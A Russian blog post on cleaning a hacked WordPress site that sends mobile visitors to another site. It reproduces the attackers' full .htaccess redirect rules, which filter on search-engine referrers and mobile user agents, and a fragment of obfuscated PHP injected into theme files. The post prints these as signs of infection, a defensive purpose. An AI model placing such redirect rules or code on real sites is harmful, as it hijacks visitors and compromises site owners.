Внимание! Вирус! На мобильном устройстве вместо блога открывается другой сайт.

«Вместо моего блога на сотовом телефоне  открывается чужой сайт». На днях с такой проблемой ко мне обратился клиент. Это уже не первый случай, поэтому решила описать ситуацию на блоге.

Для начала давайте протестуем Ваш блог. Попробуйте открыть свой блог на любом мобильном устройстве:  Iphone, ipad, android. Если вместо Вашего блога появится неизвестный сайт — время бить тревогу. Скорее всего Ваш блог был взломан, и злоумышленники изменили файл .htaccess, прописали в нем свои правила перенаправления.

Как это исправить?

Необходимо зайти на хостинг в корневую папку блога, скачать файл .htaccess или открыть его для редактирования прямо на хостинге.

Содержание это файла должно выглядеть так (при условии, что Вы не используете кэширующий плагин или плагин защиты Better Security):

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

Если после этого кода или вместо него в Вашем файле будут еще  коды типа:

RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*i:midp|samsung|nokia|j2me|avant|docomo|novarra|palmos|palmsource|opwv|chtml|pda|mmp|blackberry|mib|symbian|wireless|nokia|hand|mobi|phone|cdm|upb|audio|SIE|SEC|samsung|HTC|mot-|mitsu|sagem|sony|alcatel|lg|eric|vx|NEC|philips|mmm|xx|panasonic|sharp|wap|sch|rover|pocket|benq|ja

RewriteRule ^(.*)$ http://сайт-куда-идет-перенаправление.ru/index.php [R=301,L]

Их нужно просто удалить.

Далее сохраните файл и загрузите его обратно на хостинг. Проверьте как теперь открывается блог на мобильном устройстве.

Шаг 1 — Проверить и удалить все лишние файлы .htaccess

Но это еще не все. Проверьте все папки на наличие файла .htaccess и его содержимое. Злоумышленники могли также и в них прописать данный код. Папки для проверки (wp-include, wp-admin, wp-content). Если Вы найдете в этих папках файл .htaccess просто его удалите.

Шаг 3 — найти и почистить зараженные файлы

И наконец необходимо найти взломанный файл в который вставили код для генерации перенаправления в файле .htaccess. Самые уязвимые файлы это index.php, header.php, footer.php и functions.php в папке папке с темой. Код может выглядеть так (Публикую только часть кода. Как правило код очень длинный. Расшифровать его можно в программе php decoder — http://www.unphp.net/.)

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["ijv\x64cn\x78y\x69\x66\x70"]="ip\x73";${"\x47\x4cO\x42\x41L\x53"}["j\x6bp\x6dym\x6by"]="\x69\x70";${"GLOB\x41\x4c\x53"}["\x70\x76\x70\x79jic\x6ao\x7a\x6d"]="\x72\x65\x66\x65\x72e\x72";${"G\x4c\x4f\x42\x41\x4cS"} ?>

Его необходимо удалить из всех зараженных файлов (или заменить эти файлы на чистые).

Как это сделать:
1. скачайте архив с блогом на свой компьютер по FTP
2. откройте зараженный файл который Вы нашли на хостинге
3. скопируйте код ( или часть кода ) вируса и через поиск найдите все зараженные файлы.
4. удалите вредоносный код
5. закачайте исправленные файлы снова на хостинг (или просто закачайте чистые файлы — предварительно скачайте WordPress на компьютер)

Кстати, иногда бывает, что злоумышленник создает файлы которые не существуют в WordPress. В таком случае, если Вы видите зараженный файл, которого не должно быть в WordPress, можете просто его удалить.

Если Вам сложно самостоятельно решить эту проблему, Вы всегда можете обратиться в тех. поддержку проекта «МЛМ Блог за 1 Час» по скайпу: mlmproekt.ru.

Как защитить блог от взлома

Чтобы подобного не происходило с Вашим блогом на WordPress необходимо соблюдать следующие правила:

1. Вовремя обновляйте WordPress до новой версии

2. Обновляйте плагины до новой версии

3. Обновляйте шаблон до новой версии

4. Не устанавливайте на блог не проверенные плагины и скрипты

5. Проверьте Ваш компьютер на вирусы

6. Периодически меняйте пароли к админке блога, панеле управления хостинга, FTP

7. Придумывайте сложные пароли

8. Используйте плагин по защите блога от взлома Better Security 

Если у Вас были подобные случаи с блогом, поделитесь ими, пожалуйста, в комментариях.

Успешного блогинга!

Создайте сайт с нами — легко и быстро!

С вопросами и за помощью обращайтесь в нашу службу поддержки 24/7

Нужен качественный хостинг для сайта на WordPress?
Рекомендую, проверенные годами, хостинг Timeweb:

а также, хостинг Beget: